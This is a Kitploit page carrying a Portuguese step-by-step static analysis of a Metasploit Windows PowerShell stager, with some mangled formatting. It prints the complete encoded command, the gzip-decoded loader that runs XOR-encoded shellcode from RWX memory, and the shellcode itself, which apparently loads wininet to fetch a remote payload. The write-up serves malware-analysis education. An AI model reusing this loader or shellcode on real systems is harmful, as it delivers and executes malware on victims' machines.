Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
msf_shellcode_analysis — Análise estática passo a passo de um shellcode do Metasploit para Windows: decodificação de payload do PowerShell, ofuscação XOR, caminhamento do PEB e resolução da Tabela de Endereços de Exportação. | Kitploit
Ferramentas/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
Análise EstáticaEngenharia ReversaShellcodeAnálise de MalwareAnálise de BináriosAprendizado e Educação
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

Análise estática passo a passo de um shellcode do Metasploit para Windows: decodificação de payload do PowerShell, ofuscação XOR, caminhamento do PEB e resolução da Tabela de Endereços de Exportação.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
2835há 1 mêsRevisado pelo Kitploit
Compartilhar

Análise estática de um shellcode do Metasploit

Para um primeiro post de blog, pensei que seria legal analisar um shellcode comum do Metasploit - é uma ótima oportunidade para discutir tópicos como encoding, PEB, shellcodes do Windows e Export Address Tables.

Começando

Começamos com uma linha de comando longa e interceptada:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
Esta é uma linha de comando do PowerShell codificada em [base64](https://en.wikipedia.org/wiki/Base64) (indicada pela flag `-encodedcommand`). Ao decodificar, fica assim:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Este payload realiza mais uma decodificação base64 (da parte que começa com "H4sIA...") e a salva em um stream de memória ($s). Em seguida, trata-o como um stream compactado (gzip), descompacta-o e executa o conteúdo (com IEX). É bem fácil descompactá-lo - você pode usar PowerShell, CyberChef ou até mesmo Python:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
A saída contém mais comandos do PowerShell, desta vez com lógica mais complexa:```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

Vamos decompô-lo:

  • A variável $DoIt contém a maior parte da lógica. Ela define uma função chamada func_get_proc_address que é apenas um wrapper para kernel32!GetProcAddress, e usa a função func_get_delegate_type para obter um delegate reflexivo.
  • A variável $var_code é mais um (!) payload em base64, mas desta vez é menos óbvio - tentar decodificá-lo ingenuamente produz lixo.
  • A variável $var_code é submetida a XOR byte a byte com o valor 35. Isso já explica por que decodificá-lo não revela strings, mas mesmo após o XOR - ainda não parece promissor sem o contexto certo.
  • As próximas linhas alocam um buffer com a função kernel32!VirtualAlloc. Ela é invocada para alocar um buffer (guardado em $var_buffer) com flAllocationType=0x3000 e flProtect=0x40. Consultando o MSDN revela que o tipo de alocação é MEM_COMMIT | MEM_RESERVE e a proteção de página é PAGE_EXECUTEREADWRITE.
  • O payload em $var_code (que foi decodificado de base64 e submetido a XOR com a constante 35) é copiado para o buffer e então executado (feito com o delegate $var_runme).
  • Observe a última parte do código - ela verifica se o tamanho do ponteiro é 8. Se for (ou seja, processo de 64 bits), será executado como um novo job de 32 bits. Caso contrário, simplesmente executa $DoIt.

Isso nos diz que o payload codificado em base64 deve ser tratado como shellcode de 32 bits. Vamos analisá-lo estaticamente novamente, aplicando XOR e gravando-o em um arquivo binário:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
É aqui que a diversão começa. Você pode usar seu desmontador favorito (IDA, Binary Ninja, etc.).
Há até alguns ótimos [desmontadores online](https://shell-storm.org/online/Online-Assembler-and-Disassembler) à sua disposição se você não se importa com opsec.
O início do shellcode está no offset 0 e o código deve ser tratado como código X86.

## Percorrendo o PEB
O código começa com uma instrução CALL:```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

A instrução cld limpa o flag de direção (para que operações de string como movsb avancem e não retrocedam) e, em seguida, realiza uma chamada relativa para 0x8f. Como call empilha a próxima instrução, lembramos que foi empilhado o endereço que está no offset 6 do shellcode. Vamos examinar o código no offset 0x8f:```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
Imediatamente usar um `pop` para salvar o endereço é um truque comum de shellcoding (sequência `call-pop`). Os próximos pushes são interessantes - à primeira vista parecem constantes estranhas, mas decodificá-los como strings ANSI revela algo interessante:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

Como estamos analisando operações de push na pilha - tive que extraí-las na ordem oposta e me certificar de usar Little Endian (esse é o símbolo < no código). Isso imprime b'wininet\x00', que é o nome de uma DLL do Windows usada para comunicações com a Internet. Observe que push esp empurra o endereço do topo da pilha, o que é uma boa maneira de obter um ponteiro para a string wininet terminada em NUL. Prosseguindo, empurramos outra constante (0x726774c) - esta não decodifica para nada significativo, e chamamos ebp. Lembre-se de que ebp aponta para um trecho de código no offset 6 a partir do início do shellcode, então vamos examinar essa parte!

O código no offset 6 começa com algumas instruções interessantes:```assembly 0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

